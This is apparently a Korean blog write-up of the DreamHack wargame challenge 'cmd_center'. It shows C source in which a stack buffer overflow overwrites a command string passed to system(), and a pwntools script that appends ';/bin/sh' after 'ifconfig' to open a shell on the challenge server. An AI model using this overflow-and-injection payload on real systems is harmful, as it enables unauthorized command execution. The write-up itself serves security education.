본문 바로가기

DreamHack: System Hacking/F Stage 14

cmd_center

Logical Bug: Command Injection과 관련해서는

https://dreamhack.io/lecture/courses/108

 

Logical Bug: Command Injection

명령어를 실행해주는 함수를 잘못 사용하여 발생하는 Command Injection취약점에 대해 배워보겠습니다.

dreamhack.io

에 아주 자세하고 간략하고 알기 쉽게 설명돼있으니 강의를 꼭 수강하기 바란다.

 

소스 코드

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig";
	int dummy;
	char center_name[24];

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}

 

exploit 설계

 

(1) center_name에 read함수를 통해 100byte만큼 입력을 받으므로, bof를 일으켜 cmd_ip의 내용을 overwrite 할 수 있을 것이다

(2)

if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

에서 cmd_ip의 첫 8바이트만 검사하므로, ifconfig 뒤에 추가로 원하는 명령어를 붙여 system(cmd_ip)를 통해 원하는 명령어를 실행시킬 수 있다.

(3) 이후 system(cmd_ip)를 통해 명령이 실행되면 exit(0)을 통해 프로그램이 종료된다.

 

exploit(cmd_center.py)

를 통해 스택 구조가 다음과 같음을 알 수 있다.

 

이를 토대로 exploit을 다음과 같이 짰다

 

from pwn import *
p = remote('host3.dreamhack.games', 13012)

payload = b'a'*32 + b'ifconfig' + b';/bin/sh'
p.sendafter('Center name: ', payload)

p.interactive()